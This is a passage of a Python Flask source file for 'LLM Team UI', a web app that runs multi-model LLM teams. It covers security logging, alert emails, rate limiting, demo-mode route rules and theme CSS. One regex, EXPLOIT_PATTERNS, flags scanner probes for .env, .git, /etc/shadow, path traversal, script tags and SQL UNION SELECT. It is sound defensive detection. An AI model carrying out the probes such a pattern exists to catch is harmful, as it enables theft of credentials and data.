llm-team-ui/llm_team_ui.py
root 856f584666 Fix "Use This" button: transfer prompt across pages via sessionStorage
The optimization "Use This" button was on the /history page but tried
to set document.getElementById('prompt') which only exists on /. The
JS value was lost on navigation.

Fix: store prompt in sessionStorage, pick it up on main page load.
Also opens the composer overlay so the user sees the loaded prompt
immediately instead of landing on an empty output view.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-29 07:24:59 -05:00

9856 lines
544 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

#!/usr/bin/env python3
"""LLM Team UI - Web interface to configure and run multi-model teams."""
import json
import os
import time
import threading
import secrets
import hashlib
import logging
import re
import requests
import random
import psycopg2
import psycopg2.extras
import bcrypt
from concurrent.futures import ThreadPoolExecutor, as_completed
from flask import Flask, render_template_string, request, jsonify, Response, redirect, url_for, session
from functools import wraps
app = Flask(__name__)
app.secret_key = os.environ.get("FLASK_SECRET", secrets.token_hex(32))
# ─── SECURITY LOGGING ─────────────────────────────────────────
# Dedicated security log for fail2ban and audit trail
_sec_handler = logging.FileHandler("/var/log/llm-team-security.log")
_sec_handler.setFormatter(logging.Formatter("%(asctime)s %(message)s"))
sec_log = logging.getLogger("security")
sec_log.addHandler(_sec_handler)
sec_log.setLevel(logging.WARNING)
# ─── EMAIL ALERTS ──────────────────────────────────────────────
SMTP_HOST = os.environ.get("SMTP_HOST", "127.0.0.1")
SMTP_PORT = int(os.environ.get("SMTP_PORT", "1025"))
ALERT_FROM = os.environ.get("ALERT_FROM", "security@island37.com")
ALERT_TO = os.environ.get("ALERT_TO", "admin@island37.com")
def send_security_alert(subject, body):
"""Send security alert email (non-blocking)."""
def _send():
try:
import smtplib
from email.message import EmailMessage
msg = EmailMessage()
msg["Subject"] = f"[LLM Team Security] {subject}"
msg["From"] = ALERT_FROM
msg["To"] = ALERT_TO
msg.set_content(body)
with smtplib.SMTP(SMTP_HOST, SMTP_PORT, timeout=5) as s:
s.send_message(msg)
except Exception as e:
sec_log.error("EMAIL_FAILED subject=%s error=%s", subject, str(e))
threading.Thread(target=_send, daemon=True).start()
# Known exploit paths that scanners probe
EXPLOIT_PATTERNS = re.compile(
r"(\.env|wp-admin|wp-login|phpmyadmin|\.git|/admin\.php|/config\.|"
r"\.asp|\.aspx|/cgi-bin|/shell|/eval|/exec|/passwd|/etc/shadow|"
r"\.\./|%2e%2e|<script|%3cscript|union\s+select|;--|UNION|SELECT\s.*FROM)",
re.IGNORECASE
)
# ─── AUTH + DEMO MODE ─────────────────────────────────────────
_rate_limit = {} # ip -> (count, window_start)
RATE_LIMIT_WINDOW = 60
RATE_LIMIT_MAX = 60
LOGIN_RATE_MAX = 5
# IPs that never get rate-limited (your LAN, localhost)
ALLOWLIST_IPS = {"127.0.0.1", "::1", "192.168.1.1"}
# Demo mode state — toggled by admin at runtime
_demo_mode = {"active": False, "started_by": None, "showcase": False}
# Routes that demo users CAN trigger (read-like POSTs — enrichment, self-analysis, team runs)
DEMO_ALLOWED_POSTS = {
"/api/run", "/api/self-analyze", "/api/admin/security/enrich",
}
# Routes that demo users CANNOT touch (destructive writes)
# Note: /api/demo/toggle is NOT blocked here — it has its own admin check
DEMO_BLOCKED_POSTS = {
"/api/admin/config", "/api/admin/test-provider", "/api/admin/security/ban",
"/api/admin/security/mass-ban", "/api/demo/allowlist",
"/api/runs/bulk-archive", "/api/meta-pipeline",
}
def is_allowlisted(ip):
return ip in ALLOWLIST_IPS or ip.startswith("192.168.1.")
def rate_limited(ip, max_req=RATE_LIMIT_MAX):
if is_allowlisted(ip):
return False
now = time.time()
if ip not in _rate_limit or now - _rate_limit[ip][1] > RATE_LIMIT_WINDOW:
_rate_limit[ip] = (1, now)
return False
count, start = _rate_limit[ip]
if count >= max_req:
return True
_rate_limit[ip] = (count + 1, start)
return False
def is_admin():
return session.get("role") == "admin"
def is_demo():
return _demo_mode["active"]
# ─── THEME SYSTEM ────────────────────────────────────────────
# Shared CSS + JS for theme switching across all pages
THEME_CSS = """
body.theme-light, body.theme-reddit {
--bg: #f5f3ef; --surface: rgba(255,254,251,0.92); --surface2: rgba(250,248,244,0.85); --border: #ddd8cf;
--text: #1a1d23; --text2: #6b6560; --accent: #4f46e5; --accent2: #6366f1;
--green: #16a34a; --orange: #d97706; --red: #dc2626; --blue: #2563eb;
--glow: rgba(79,70,229,0.04);
}
body.theme-reddit {
--bg: #dae0e6; --surface: #ffffff; --surface2: #f6f7f8; --border: #edeff1;
--text: #1a1a1b; --text2: #7c7c7c; --accent: #ff4500; --accent2: #ff5414;
--green: #46d160; --orange: #ff4500; --red: #ff585b; --blue: #7193ff;
--glow: rgba(255,69,0,0.04);
}
body.theme-modern {
--bg: #09090b; --surface: rgba(24,24,27,0.8); --surface2: rgba(30,30,35,0.6); --border: rgba(63,63,70,0.5);
--text: #fafafa; --text2: #a1a1aa; --accent: #3b82f6; --accent2: #60a5fa;
--green: #22c55e; --orange: #f59e0b; --red: #ef4444; --blue: #3b82f6;
--glow: rgba(59,130,246,0.06);
}
body.theme-light .scanlines, body.theme-light .vignette, body.theme-reddit .scanlines, body.theme-reddit .vignette { display: none; }
body.theme-light canvas#bg-grid, body.theme-reddit canvas#bg-grid { display: none; }
body.theme-light .panel, body.theme-light .login-box, body.theme-reddit .panel, body.theme-reddit .login-box { backdrop-filter: none; box-shadow: 0 1px 3px rgba(0,0,0,0.06), 0 0 0 1px var(--border); }
body.theme-light .panel::before, body.theme-reddit .panel::before { background: linear-gradient(90deg, transparent, rgba(79,70,229,0.12), transparent); }
body.theme-light .mode-tab, body.theme-reddit .mode-tab { background: var(--bg); }
body.theme-light .mode-tab.active, body.theme-reddit .mode-tab.active { background: rgba(79,70,229,0.06); box-shadow: 0 1px 3px rgba(79,70,229,0.1); }
body.theme-light .mode-tab.crazy, body.theme-reddit .mode-tab.crazy { background: linear-gradient(135deg, rgba(245,240,255,0.9), rgba(235,225,255,0.9)); border-color: rgba(168,85,247,0.2); }
body.theme-light .mode-tab.crazy.active, body.theme-reddit .mode-tab.crazy.active { background: linear-gradient(135deg, rgba(235,225,255,1), rgba(225,210,255,1)); border-color: #a855f7; color: #7c3aed; }
body.theme-light .model-card, body.theme-reddit .model-card { background: var(--bg); }
body.theme-light .model-card.selected, body.theme-reddit .model-card.selected { background: rgba(79,70,229,0.04); }
body.theme-light .model-card.selected .check, body.theme-reddit .model-card.selected .check { background: var(--accent); border-color: var(--accent); color: #fff; }
body.theme-light .prov-badge.ollama, body.theme-reddit .prov-badge.ollama { background: rgba(22,163,74,0.06); color: var(--green); border-color: rgba(22,163,74,0.15); }
body.theme-light .output-card, body.theme-reddit .output-card { box-shadow: 0 1px 3px rgba(0,0,0,0.04); }
body.theme-light .output-card .card-body, body.theme-reddit .output-card .card-body { background: var(--surface); }
body.theme-light textarea, body.theme-reddit textarea { background: var(--surface) !important; color: var(--text) !important; }
body.theme-light input, body.theme-light select, body.theme-reddit input, body.theme-reddit select { background: var(--surface) !important; color: var(--text) !important; border-color: var(--border) !important; }
body.theme-light select option, body.theme-reddit select option { background: var(--surface); color: var(--text); }
body.theme-light .config-row select, body.theme-reddit .config-row select { background: #fff !important; color: #1a1d23 !important; }
body.theme-light .config-row select option, body.theme-reddit .config-row select option { background: #fff; color: #1a1d23; }
body.theme-light .threat-card, body.theme-reddit .threat-card { background: var(--surface); }
body.theme-light .threat-card.critical, body.theme-reddit .threat-card.critical { background: rgba(220,38,38,0.03); }
body.theme-light .threat-card.high, body.theme-reddit .threat-card.high { background: rgba(217,119,6,0.03); }
body.theme-light .enrich-panel, body.theme-reddit .enrich-panel { background: rgba(79,70,229,0.03); border-color: rgba(79,70,229,0.15); }
body.theme-light .enrich-title, body.theme-reddit .enrich-title { color: var(--accent); }
body.theme-light .threat-summary .ts-box, body.theme-reddit .threat-summary .ts-box { background: var(--surface); box-shadow: 0 1px 3px rgba(0,0,0,0.04); }
body.theme-light .field input, body.theme-reddit .field input { background: var(--surface); }
body.theme-light .login-box .btn, body.theme-reddit .login-box .btn { color: #fff; }
body.theme-light .btn, body.theme-reddit .btn { background: var(--bg); color: var(--text); border-color: var(--border); }
body.theme-light .btn:hover, body.theme-reddit .btn:hover { border-color: var(--accent); color: var(--accent); background: rgba(79,70,229,0.04); }
body.theme-light .btn-g, body.theme-light .btn-green, body.theme-reddit .btn-g, body.theme-reddit .btn-green { color: var(--green); border-color: rgba(22,163,74,0.3); background: rgba(22,163,74,0.04); }
body.theme-light .btn-g:hover, body.theme-light .btn-green:hover, body.theme-reddit .btn-g:hover, body.theme-reddit .btn-green:hover { background: rgba(22,163,74,0.08); border-color: var(--green); }
body.theme-light .btn-r, body.theme-light .btn-red, body.theme-reddit .btn-r, body.theme-reddit .btn-red { color: var(--red); border-color: rgba(220,38,38,0.3); background: rgba(220,38,38,0.04); }
body.theme-light .btn-r:hover, body.theme-light .btn-red:hover, body.theme-reddit .btn-r:hover, body.theme-reddit .btn-red:hover { background: rgba(220,38,38,0.08); border-color: var(--red); }
body.theme-light .btn-primary, body.theme-reddit .btn-primary { background: var(--accent); border-color: var(--accent); color: #fff; }
body.theme-light .btn-primary:hover, body.theme-reddit .btn-primary:hover { background: var(--accent2); }
body.theme-light .stat-box, body.theme-reddit .stat-box { background: var(--surface); box-shadow: 0 1px 3px rgba(0,0,0,0.04); }
body.theme-light .tab, body.theme-reddit .tab { background: var(--surface); }
body.theme-light .tab.active, body.theme-reddit .tab.active { background: rgba(79,70,229,0.06); }
body.theme-light code, body.theme-light pre, body.theme-reddit code, body.theme-reddit pre { background: rgba(0,0,0,0.03); }
body.theme-light .back, body.theme-reddit .back { background: var(--surface); }
body.theme-light .back:hover, body.theme-reddit .back:hover { border-color: var(--accent); color: var(--accent); }
body.theme-light .log-line:nth-child(even), body.theme-reddit .log-line:nth-child(even) { background: rgba(0,0,0,0.02); }
body.theme-light ::-webkit-scrollbar, body.theme-reddit ::-webkit-scrollbar { width: 8px; height: 8px; }
body.theme-light ::-webkit-scrollbar-thumb, body.theme-reddit ::-webkit-scrollbar-thumb { background: rgba(0,0,0,0.12); border-radius: 8px; border: 2px solid transparent; background-clip: content-box; }
body.theme-light ::-webkit-scrollbar-thumb:hover, body.theme-reddit ::-webkit-scrollbar-thumb:hover { background: rgba(0,0,0,0.22); border-radius: 8px; border: 2px solid transparent; background-clip: content-box; }
body.theme-light ::-webkit-scrollbar-track, body.theme-reddit ::-webkit-scrollbar-track { background: transparent; }
body.theme-light .log-line, body.theme-reddit .log-line { color: #374151; }
body.theme-light #log-view, body.theme-reddit #log-view { background: var(--surface); border-color: var(--border); }
body.theme-light .controls, body.theme-reddit .controls { background: var(--surface); }
body.theme-light .controls select, body.theme-light .controls input, body.theme-reddit .controls select, body.theme-reddit .controls input { background: var(--surface) !important; }
body.theme-light .tag-err, body.theme-reddit .tag-err { background: rgba(220,38,38,0.06); color: var(--red); border-color: rgba(220,38,38,0.2); }
body.theme-light .tag-ok, body.theme-reddit .tag-ok { background: rgba(22,163,74,0.06); color: var(--green); border-color: rgba(22,163,74,0.2); }
body.theme-light .tag-time, body.theme-reddit .tag-time { background: rgba(79,70,229,0.06); color: var(--accent); border-color: rgba(79,70,229,0.2); }
body.theme-light .tag-mode, body.theme-reddit .tag-mode { background: rgba(217,119,6,0.06); color: var(--orange); border-color: rgba(217,119,6,0.2); }
body.theme-light .threat-summary .ts-box, body.theme-reddit .threat-summary .ts-box { background: #fff; border-color: var(--border); }
body.theme-light .ban-btn, body.theme-reddit .ban-btn { background: var(--surface); }
body.theme-light .ban-btn.ban, body.theme-reddit .ban-btn.ban { color: var(--red); border-color: rgba(220,38,38,0.3); }
body.theme-light .ban-btn.ban:hover, body.theme-reddit .ban-btn.ban:hover { background: rgba(220,38,38,0.05); }
body.theme-light .enrich-field .label, body.theme-reddit .enrich-field .label { color: #6b7280; }
body.theme-light .enrich-field .value, body.theme-reddit .enrich-field .value { color: #1a1d23; }
body.theme-light .provider-card, body.theme-light .prov-section, body.theme-reddit .provider-card, body.theme-reddit .prov-section { background: var(--surface); border-color: var(--border); box-shadow: 0 1px 3px rgba(0,0,0,0.04); }
body.theme-light .toggle-switch input:checked + .toggle-slider, body.theme-reddit .toggle-switch input:checked + .toggle-slider { background: var(--accent); }
body.theme-light .run-card, body.theme-light .history-card, body.theme-reddit .run-card, body.theme-reddit .history-card { background: var(--surface); border-color: var(--border); }
body.theme-light .wrap, body.theme-reddit .wrap { background: transparent; }
body.theme-light header, body.theme-reddit header { border-color: var(--border); }
body.theme-light .tabs .tab.err, body.theme-reddit .tabs .tab.err { color: var(--red); border-color: rgba(220,38,38,0.2); }
body.theme-light .tabs .tab.err.active, body.theme-reddit .tabs .tab.err.active { background: rgba(220,38,38,0.04); }
body.theme-light .progress-panel, body.theme-reddit .progress-panel { background: rgba(255,255,255,0.97); border-color: var(--accent); box-shadow: 0 2px 12px rgba(79,70,229,0.08); }
body.theme-light .progress-panel.done, body.theme-reddit .progress-panel.done { border-color: var(--green); box-shadow: 0 2px 12px rgba(22,163,74,0.08); }
body.theme-light .progress-header .prog-mode, body.theme-reddit .progress-header .prog-mode { color: var(--accent); }
body.theme-light .progress-header .prog-time, body.theme-reddit .progress-header .prog-time { color: var(--text2); }
body.theme-light .progress-track, body.theme-reddit .progress-track { background: rgba(0,0,0,0.04); border-color: rgba(79,70,229,0.15); }
body.theme-light .progress-fill, body.theme-reddit .progress-fill { background: linear-gradient(90deg, var(--accent), #818cf8, var(--blue)); box-shadow: none; }
body.theme-light .progress-step, body.theme-reddit .progress-step { background: rgba(79,70,229,0.1); }
body.theme-light .progress-step.done, body.theme-reddit .progress-step.done { background: linear-gradient(90deg, var(--accent), var(--green)); }
body.theme-light .progress-step.active, body.theme-reddit .progress-step.active { background: var(--accent); box-shadow: 0 0 4px rgba(79,70,229,0.3); }
body.theme-light .progress-detail, body.theme-reddit .progress-detail { color: var(--text2); }
body.theme-light .progress-detail .prog-stats, body.theme-reddit .progress-detail .prog-stats { color: var(--accent); }
body.theme-light .output-card, body.theme-reddit .output-card { background: var(--surface); border-color: var(--border); backdrop-filter: none; }
body.theme-light .output-card .card-header, body.theme-reddit .output-card .card-header { border-color: var(--border); color: var(--text); }
body.theme-light .output-card .card-header .role-tag, body.theme-reddit .output-card .card-header .role-tag { background: rgba(0,0,0,0.03); color: var(--text2); border-color: var(--border); }
body.theme-light .output-card .card-body, body.theme-reddit .output-card .card-body { color: var(--text); background: #fff; }
body.theme-light .synthesis-card, body.theme-reddit .synthesis-card { border-color: var(--accent); }
body.theme-light .synthesis-card .card-header, body.theme-reddit .synthesis-card .card-header { background: rgba(79,70,229,0.04); }
body.theme-light .crazy-card, body.theme-reddit .crazy-card { border-color: #8b5cf6; }
body.theme-light .crazy-card .card-header, body.theme-reddit .crazy-card .card-header { background: rgba(139,92,246,0.04); }
body.theme-light .error-card .card-header, body.theme-reddit .error-card .card-header { background: rgba(220,38,38,0.04); }
body.theme-light .status-bar, body.theme-reddit .status-bar { background: var(--surface); border-color: var(--border); color: var(--text2); }
body.theme-light .card-act, body.theme-reddit .card-act { background: var(--surface); }
body.theme-light .card-act:hover, body.theme-reddit .card-act:hover { border-color: var(--accent); color: var(--accent); }
body.theme-light .demo-btn, body.theme-light [onclick*="toggleDemo"], body.theme-light [onclick*="setDemo"], body.theme-reddit .demo-btn, body.theme-reddit [onclick*="toggleDemo"], body.theme-reddit [onclick*="setDemo"] { background: var(--bg) !important; color: var(--text) !important; border: 2px solid var(--border) !important; }
body.theme-light .demo-btn:hover, body.theme-light [onclick*="toggleDemo"]:hover, body.theme-light [onclick*="setDemo"]:hover, body.theme-reddit .demo-btn:hover, body.theme-reddit [onclick*="toggleDemo"]:hover, body.theme-reddit [onclick*="setDemo"]:hover { border-color: var(--accent) !important; }
body.theme-light .remove-btn, body.theme-light button[onclick*="remove"], body.theme-light button[onclick*="Remove"], body.theme-light button[onclick*="delete"], body.theme-reddit .remove-btn, body.theme-reddit button[onclick*="remove"], body.theme-reddit button[onclick*="Remove"], body.theme-reddit button[onclick*="delete"] { background: rgba(220,38,38,0.06) !important; color: var(--red) !important; border-color: rgba(220,38,38,0.25) !important; }
body.theme-light .toggle-switch .toggle-slider, body.theme-reddit .toggle-switch .toggle-slider { background: #ccc8c0; }
body.theme-light .toggle-switch input:checked + .toggle-slider, body.theme-reddit .toggle-switch input:checked + .toggle-slider { background: var(--accent); }
body.theme-light .add-btn, body.theme-light button[onclick*="add"], body.theme-light button[onclick*="Add"], body.theme-reddit .add-btn, body.theme-reddit button[onclick*="add"], body.theme-reddit button[onclick*="Add"] { background: rgba(79,70,229,0.06) !important; color: var(--accent) !important; border-color: rgba(79,70,229,0.25) !important; }
body.theme-light .ip-row, body.theme-light .allowlist-row, body.theme-light .model-row, body.theme-reddit .ip-row, body.theme-reddit .allowlist-row, body.theme-reddit .model-row { background: var(--surface); border-color: var(--border); }
body.theme-light .prov-section, body.theme-light .section-card, body.theme-light [class*="section"], body.theme-light .tab-content > div > div, body.theme-reddit .prov-section, body.theme-reddit .section-card, body.theme-reddit [class*="section"], body.theme-reddit .tab-content > div > div { border-color: var(--border); }
body.theme-reddit { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif; }
body.theme-reddit .panel, body.theme-reddit .output-card, body.theme-reddit .threat-card, body.theme-reddit .stat-box, body.theme-reddit .provider-card, body.theme-reddit .prov-section, body.theme-reddit .run-card, body.theme-reddit .history-card, body.theme-reddit .threat-summary .ts-box, body.theme-reddit .enrich-panel { border-radius: 8px; border-width: 1px; box-shadow: 0 1px 3px rgba(0,0,0,0.04); }
body.theme-reddit .tab, body.theme-reddit .back, body.theme-reddit .ban-btn, body.theme-reddit .btn, body.theme-reddit .card-act, body.theme-reddit .theme-toggle, body.theme-reddit input, body.theme-reddit select, body.theme-reddit textarea { border-radius: 20px; }
body.theme-reddit .tag, body.theme-reddit .prov-badge { border-radius: 12px; }
body.theme-reddit .mode-tab, body.theme-reddit .model-card { border-radius: 8px; }
body.theme-reddit .tab.active { background: var(--accent); color: #fff; border-color: var(--accent); }
body.theme-reddit .tab:hover { background: rgba(255,69,0,0.06); }
body.theme-reddit .mode-tab.active { background: rgba(255,69,0,0.08); border-color: var(--accent); color: var(--accent); box-shadow: none; }
body.theme-reddit .mode-tab.crazy, body.theme-reddit .mode-tab.crazy.active { background: rgba(255,69,0,0.06); border-color: rgba(255,69,0,0.2); color: var(--accent); }
body.theme-reddit .model-card.selected { border-color: var(--accent); background: rgba(255,69,0,0.04); }
body.theme-reddit .model-card.selected .check { background: var(--accent); border-color: var(--accent); }
body.theme-reddit .btn-primary, body.theme-reddit .login-box .btn { background: var(--accent); border-color: var(--accent); color: #fff; border-radius: 20px; }
body.theme-reddit .btn-g, body.theme-reddit .btn-green { color: var(--green); border-color: rgba(70,209,96,0.3); background: rgba(70,209,96,0.06); }
body.theme-reddit .btn-r, body.theme-reddit .btn-red { color: var(--red); border-color: rgba(255,88,91,0.3); background: rgba(255,88,91,0.06); }
body.theme-reddit .output-card .card-header { border-radius: 8px 8px 0 0; border-bottom-width: 1px; }
body.theme-reddit .output-card .card-body { border-radius: 0 0 8px 8px; }
body.theme-reddit .synthesis-card { border-color: var(--accent); }
body.theme-reddit .synthesis-card .card-header { background: rgba(255,69,0,0.04); }
body.theme-reddit .progress-panel { border-radius: 8px; border-color: var(--accent); box-shadow: 0 2px 8px rgba(255,69,0,0.08); }
body.theme-reddit .progress-fill { background: linear-gradient(90deg, #ff4500, #ff8b60); }
body.theme-reddit .progress-step.done { background: linear-gradient(90deg, #ff4500, var(--green)); }
body.theme-reddit .progress-step.active { background: var(--accent); }
body.theme-reddit .progress-header .prog-mode { color: var(--accent); }
body.theme-reddit .enrich-panel { background: rgba(255,69,0,0.02); border-color: rgba(255,69,0,0.12); }
body.theme-reddit .enrich-title { color: var(--accent); }
body.theme-reddit .tabs .tab.err.active { background: var(--red); color: #fff; border-color: var(--red); }
body.theme-reddit .tag-time, body.theme-reddit .tag-mode { background: rgba(255,69,0,0.06); color: var(--accent); border-color: rgba(255,69,0,0.15); }
body.theme-reddit .tag-err { background: rgba(255,88,91,0.08); color: var(--red); border-color: rgba(255,88,91,0.2); }
body.theme-reddit .tag-ok { background: rgba(70,209,96,0.08); color: var(--green); border-color: rgba(70,209,96,0.2); }
body.theme-reddit .prov-badge.ollama { background: rgba(70,209,96,0.08); color: var(--green); border-color: rgba(70,209,96,0.2); }
body.theme-reddit header { border-bottom-width: 1px; }
body.theme-reddit ::-webkit-scrollbar-thumb { background: rgba(255,69,0,0.15); border-radius: 8px; border: 2px solid transparent; background-clip: content-box; }
body.theme-reddit ::-webkit-scrollbar-thumb:hover { background: rgba(255,69,0,0.3); border-radius: 8px; border: 2px solid transparent; background-clip: content-box; }
body.theme-light .new-prompt-btn, body.theme-reddit .new-prompt-btn { color: #fff; }
body.theme-light .composer-close, body.theme-reddit .composer-close { background: var(--surface); }
body.theme-reddit .new-prompt-btn { border-radius: 20px; }
body.theme-reddit .composer-close { border-radius: 20px; }
body.theme-modern .new-prompt-btn { border-radius: 8px; color: #fff; }
body.theme-modern .composer-close { border-radius: 8px; border-width: 1px; backdrop-filter: blur(12px); background: var(--surface); }
body.theme-light .repipe-overlay, body.theme-reddit .repipe-overlay { background: rgba(0,0,0,0.3); }
body.theme-light .repipe-modal, body.theme-reddit .repipe-modal { background: var(--surface); border-color: var(--border); }
body.theme-light .repipe-text, body.theme-reddit .repipe-text { background: var(--bg); border-color: var(--border); color: var(--text); }
body.theme-light .repipe-btn, body.theme-reddit .repipe-btn { background: var(--bg); }
body.theme-light .repipe-btn.primary, body.theme-reddit .repipe-btn.primary { background: var(--accent); color: #fff; }
body.theme-light .repipe-mode, body.theme-reddit .repipe-mode { background: var(--bg); }
body.theme-light .repipe-mode.sel, body.theme-reddit .repipe-mode.sel { background: rgba(79,70,229,0.06); }
body.theme-reddit .repipe-modal { border-radius: 8px; }
body.theme-reddit .repipe-text { border-radius: 8px; }
body.theme-reddit .repipe-btn, body.theme-reddit .repipe-mode { border-radius: 20px; }
body.theme-reddit .repipe-mode.sel { background: rgba(255,69,0,0.06); color: var(--accent); border-color: var(--accent); }
body.theme-reddit .repipe-btn.primary { background: var(--accent); color: #fff; }
body.theme-modern .repipe-overlay { background: rgba(0,0,0,0.6); backdrop-filter: blur(8px); }
body.theme-modern .repipe-modal { background: var(--surface); backdrop-filter: blur(24px); border: 1px solid var(--border); border-radius: 16px; box-shadow: 0 8px 40px rgba(0,0,0,0.5); }
body.theme-modern .repipe-text { background: rgba(255,255,255,0.03); border: 1px solid var(--border); border-radius: 8px; }
body.theme-modern .repipe-btn { border-radius: 8px; border-width: 1px; }
body.theme-modern .repipe-btn.primary { background: var(--accent); border-color: var(--accent); color: #fff; box-shadow: 0 2px 10px rgba(59,130,246,0.3); }
body.theme-modern .repipe-mode { border-radius: 8px; border-width: 1px; }
body.theme-modern .repipe-mode.sel { background: rgba(59,130,246,0.08); border-color: rgba(59,130,246,0.3); color: var(--accent2); }
body.theme-modern { font-family: -apple-system, BlinkMacSystemFont, 'SF Pro Display', 'Segoe UI', sans-serif; }
body.theme-modern .scanlines { display: none; }
body.theme-modern .vignette { background: radial-gradient(ellipse at 30% 20%, rgba(59,130,246,0.06) 0%, transparent 50%), radial-gradient(ellipse at 70% 80%, rgba(139,92,246,0.04) 0%, transparent 50%); }
body.theme-modern canvas#bg-grid { display: none; }
body.theme-modern .panel, body.theme-modern .output-card, body.theme-modern .stat-box, body.theme-modern .provider-card, body.theme-modern .prov-section { background: var(--surface); backdrop-filter: blur(20px) saturate(1.4); border: 1px solid var(--border); border-radius: 16px; box-shadow: 0 0 0 1px rgba(255,255,255,0.03) inset, 0 2px 20px rgba(0,0,0,0.3); }
body.theme-modern .panel::before { background: linear-gradient(90deg, transparent, rgba(59,130,246,0.08), transparent); }
body.theme-modern .threat-card, body.theme-modern .run-card, body.theme-modern .history-card { background: var(--surface); backdrop-filter: blur(16px); border: 1px solid var(--border); border-radius: 12px; box-shadow: 0 1px 12px rgba(0,0,0,0.2); }
body.theme-modern .threat-card.critical { border-color: rgba(239,68,68,0.4); box-shadow: 0 1px 12px rgba(239,68,68,0.08); }
body.theme-modern .threat-card.high { border-color: rgba(245,158,11,0.4); }
body.theme-modern .enrich-panel { background: rgba(59,130,246,0.04); border: 1px solid rgba(59,130,246,0.12); border-radius: 12px; backdrop-filter: blur(12px); }
body.theme-modern .enrich-title { color: var(--accent); }
body.theme-modern .threat-summary .ts-box { background: var(--surface); backdrop-filter: blur(16px); border: 1px solid var(--border); border-radius: 12px; box-shadow: 0 1px 12px rgba(0,0,0,0.2); }
body.theme-modern .tab, body.theme-modern .back { border-radius: 8px; border-width: 1px; transition: all 0.2s ease; }
body.theme-modern .tab.active { background: var(--accent); color: #fff; border-color: var(--accent); box-shadow: 0 2px 10px rgba(59,130,246,0.25); }
body.theme-modern .tab:hover { background: rgba(59,130,246,0.08); }
body.theme-modern .tabs .tab.err { color: var(--red); }
body.theme-modern .tabs .tab.err.active { background: var(--red); color: #fff; border-color: var(--red); box-shadow: 0 2px 10px rgba(239,68,68,0.2); }
body.theme-modern .btn, body.theme-modern .ban-btn, body.theme-modern .card-act { border-radius: 8px; border-width: 1px; transition: all 0.2s ease; }
body.theme-modern .btn:hover, body.theme-modern .ban-btn:hover, body.theme-modern .card-act:hover { transform: translateY(-1px); box-shadow: 0 2px 8px rgba(0,0,0,0.2); }
body.theme-modern .btn-primary, body.theme-modern .login-box .btn { background: var(--accent); border-color: var(--accent); color: #fff; border-radius: 8px; box-shadow: 0 2px 10px rgba(59,130,246,0.3); }
body.theme-modern .btn-primary:hover { background: var(--accent2); transform: translateY(-1px); box-shadow: 0 4px 14px rgba(59,130,246,0.35); }
body.theme-modern .btn-g, body.theme-modern .btn-green { color: var(--green); border-color: rgba(34,197,94,0.3); }
body.theme-modern .btn-r, body.theme-modern .btn-red { color: var(--red); border-color: rgba(239,68,68,0.3); }
body.theme-modern .mode-tab { border-radius: 12px; border-width: 1px; background: rgba(255,255,255,0.03); transition: all 0.2s ease; }
body.theme-modern .mode-tab:hover { background: rgba(59,130,246,0.06); border-color: rgba(59,130,246,0.3); transform: translateY(-1px); }
body.theme-modern .mode-tab.active { background: rgba(59,130,246,0.1); border-color: rgba(59,130,246,0.4); color: var(--accent2); box-shadow: 0 2px 12px rgba(59,130,246,0.12); }
body.theme-modern .mode-tab.crazy { background: rgba(139,92,246,0.06); border-color: rgba(139,92,246,0.2); }
body.theme-modern .mode-tab.crazy.active { background: rgba(139,92,246,0.12); border-color: rgba(139,92,246,0.4); color: #a78bfa; box-shadow: 0 2px 12px rgba(139,92,246,0.12); }
body.theme-modern .model-card { border-radius: 10px; border-width: 1px; background: rgba(255,255,255,0.02); transition: all 0.2s ease; }
body.theme-modern .model-card:hover { background: rgba(59,130,246,0.04); }
body.theme-modern .model-card.selected { border-color: var(--accent); background: rgba(59,130,246,0.06); box-shadow: 0 0 0 1px rgba(59,130,246,0.2); }
body.theme-modern .model-card.selected .check { background: var(--accent); border-color: var(--accent); border-radius: 4px; }
body.theme-modern .output-card .card-header { border-bottom: 1px solid var(--border); border-radius: 16px 16px 0 0; }
body.theme-modern .output-card .card-header .role-tag { background: rgba(59,130,246,0.1); border-color: rgba(59,130,246,0.2); color: var(--accent2); border-radius: 6px; }
body.theme-modern .output-card .card-body { border-radius: 0 0 16px 16px; line-height: 1.7; }
body.theme-modern .synthesis-card { border-color: var(--accent); box-shadow: 0 2px 20px rgba(59,130,246,0.1); }
body.theme-modern .synthesis-card .card-header { background: rgba(59,130,246,0.06); }
body.theme-modern .crazy-card { border-color: rgba(139,92,246,0.4); }
body.theme-modern .crazy-card .card-header { background: rgba(139,92,246,0.06); }
body.theme-modern .progress-panel { background: rgba(24,24,27,0.9); backdrop-filter: blur(24px); border: 1px solid rgba(59,130,246,0.2); border-radius: 12px; box-shadow: 0 4px 24px rgba(0,0,0,0.4), 0 0 40px rgba(59,130,246,0.06); }
body.theme-modern .progress-panel.done { border-color: rgba(34,197,94,0.3); box-shadow: 0 4px 24px rgba(34,197,94,0.08); }
body.theme-modern .progress-fill { background: linear-gradient(90deg, #3b82f6, #818cf8, #22d3ee); box-shadow: 0 0 12px rgba(59,130,246,0.4); }
body.theme-modern .progress-step { background: rgba(59,130,246,0.1); border-radius: 4px; }
body.theme-modern .progress-step.done { background: linear-gradient(90deg, #3b82f6, #22c55e); }
body.theme-modern .progress-step.active { background: var(--accent); box-shadow: 0 0 8px rgba(59,130,246,0.4); }
body.theme-modern .progress-header .prog-mode { color: var(--accent2); }
body.theme-modern .progress-header .prog-time { color: var(--text2); }
body.theme-modern .progress-detail { color: var(--text2); }
body.theme-modern .status-bar { background: var(--surface); backdrop-filter: blur(16px); border: 1px solid var(--border); border-radius: 10px; }
body.theme-modern .tag { border-radius: 6px; border-width: 1px; }
body.theme-modern .prov-badge { border-radius: 6px; }
body.theme-modern .prov-badge.ollama { background: rgba(34,197,94,0.08); color: var(--green); border-color: rgba(34,197,94,0.2); }
body.theme-modern .tag-err { background: rgba(239,68,68,0.08); color: var(--red); border-color: rgba(239,68,68,0.15); }
body.theme-modern .tag-ok { background: rgba(34,197,94,0.08); color: var(--green); border-color: rgba(34,197,94,0.15); }
body.theme-modern .tag-time { background: rgba(59,130,246,0.08); color: var(--accent2); border-color: rgba(59,130,246,0.15); }
body.theme-modern .tag-mode { background: rgba(139,92,246,0.08); color: #a78bfa; border-color: rgba(139,92,246,0.15); }
